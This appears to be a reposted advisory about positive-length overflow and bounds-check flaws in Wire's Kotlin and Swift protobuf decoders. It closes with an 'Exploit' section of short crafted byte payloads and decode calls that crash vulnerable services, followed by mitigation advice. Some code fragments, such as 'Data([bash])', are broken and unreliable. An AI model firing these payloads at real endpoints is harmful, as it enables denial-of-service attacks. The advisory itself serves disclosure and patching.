Listen to this Post
Wire’s protobuf decoders did not consistently validate attacker-controlled length-delimited sizes against current reader bounds before computing cursor, limit, or pointer positions.
In the Kotlin runtime, ProtoAdapter.decode(ByteArray) and ProtoAdapter.decode(ByteString) use the ProtoReader32 fast path implemented by ByteArrayProtoReader32.
In ByteArrayProtoReader32.internalNextLengthDelimited(), Wire read an untrusted varint length into an Int and rejected only negative values.
A length such as 2147483647 is non-negative, so it passed that check.
But pos + length overflowed the signed 32-bit cursor and produced a negative limit.
The following if (limit > pushedLimit) guard did not catch this because the overflowed value was negative.
That invalid limit then reached string, bytes, skip, and scalar-reading paths as an invalid byte count or invalid range.
Instead of failing as a checked decode error such as IOException, malformed input could throw unchecked runtime exceptions.
These included IllegalArgumentException and ArrayIndexOutOfBoundsException.
Applications commonly treat malformed protobuf input as an expected decode failure.
Unchecked runtime exceptions escaping that boundary can crash request handling or the process.
The original report is a sibling of the negative-length skipped-group bug fixed as CVE-2026-45799.
It is not the same bug.
The length in this advisory is positive.
The overflow occurs when setting a length-delimited message limit, not only when skipping a group.
While auditing for the same bug class, related boundary flaws were also found and fixed.
Kotlin ProtoReader now validates logical message limits before varint, fixed32, fixed64, and skip operations.
The originally reported byte-array overflow payload did not reproduce as the same signed overflow in ProtoReader because that reader tracks positions as Long.
The streaming reader still needed consistent current-message-limit enforcement.
Swift ReadBuffer.readVarint() read pointer.pointee before checking that one byte remained.
A tag-only varint field could read past the end of the buffer.
Swift ReadBuffer.verifyAdditional(count:) formed pointer.advanced(by: count) before proving the requested count fit within the remaining buffer.
Pointer arithmetic ran before the bounds were established.
The distinct Swift negative-length skipGroup() crash is tracked separately as GHSA-86wm-r4c5-2rc9 / CVE-2026-61695.
This advisory covers the positive/oversized-length boundary failures.
Swift nested-message decoding and packed-repeated decoding computed end pointers from untrusted lengths before validating that the bytes were present.
Swift packed-repeated decoding reserved array capacity from an untrusted length before validating that the length existed in the current buffer.
Swift size-delimited decoding converted an untrusted UInt64 varint size to Int without exactness or availability checks.
On platforms where the value is not representable, this could trap.
The fix enforces a single invariant across the hardened readers: every decoded or skipped byte count must be non-negative and no larger than the remaining bytes in the current logical message limit before any cursor, pointer, limit, allocation, or slice is advanced.
DailyCVE Form:
Platform: Wire protobuf decoders
Version: Wire 6.4.4
Vulnerability : Positive length overflow
Severity: Availability only
date: Not provided
Prediction: Patch date unknown
(end of form)
What Undercode Say:
Analytics:
echo -ne '\x0A\xFF\xFF\xFF\xFF\x07' | xxd echo -ne '\x1A\xFF\xFF\xFF\xFF\x07' | xxd echo -ne '\x0B\x0A\xFF\xFF\xFF\xFF\x07\x0C' | xxd echo -ne '\x02\x0D\x05\x00\x00\x00' | xxd echo -ne '\x08' | xxd echo -ne '\x12\xFF\xFF\xFF\xFF\x07' | xxd echo -ne '\x0A\xFF\xFF\xFF\xFF\x07' | xxd echo -ne '\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x01' | xxd
Person.ADAPTER.decode(new byte[]{0x0A, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, 0x07});
var buffer = ReadBuffer(data: Data([bash])) try buffer.readVarint()
./gradlew :wire-runtime:jvmTest :wire-runtime-swift:test
Exploit: (Educational Purposes!)
byte[] payload = new byte[]{0x0A, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, 0x07};
Person.ADAPTER.decode(payload);
byte[] payload = new byte[]{0x1A, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, 0x07};
Person.ADAPTER.decode(payload);
byte[] payload = new byte[]{0x0B, 0x0A, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, 0x07, 0x0C};
Person.ADAPTER.decode(payload);
byte[] payload = new byte[]{0x02, 0x0D, 0x05, 0x00, 0x00, 0x00};
Person.ADAPTER.decode(payload);
let payload = Data([bash]) let decoder = ProtoDecoder() try decoder.decode(SomeMessage.self, from: payload)
let payload = Data([0x12, 0xFF, 0xFF, 0xFF, 0xFF, 0x07]) let decoder = ProtoDecoder() try decoder.decode(SomeMessage.self, from: payload)
Protection: from this CVE
Upgrade to patched release.
Reject or cap untrusted protobuf message sizes.
Prefer decoding from bounded source.
Treat unchecked runtime exceptions as malformed-input failures.
For Swift, use outer size cap and exception boundary.
Do not pass untrusted size-delimited streams directly.
Apply PR 3635 fix.
Run regression tests.
Impact:
Availability impact only.
No known confidentiality impact.
No known integrity impact.
No known code execution.
Attacker can trigger denial of service.
Malformed input may crash request handling.
Malformed input may crash process.
Single short payload sufficient.
No authentication required if endpoint reachable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

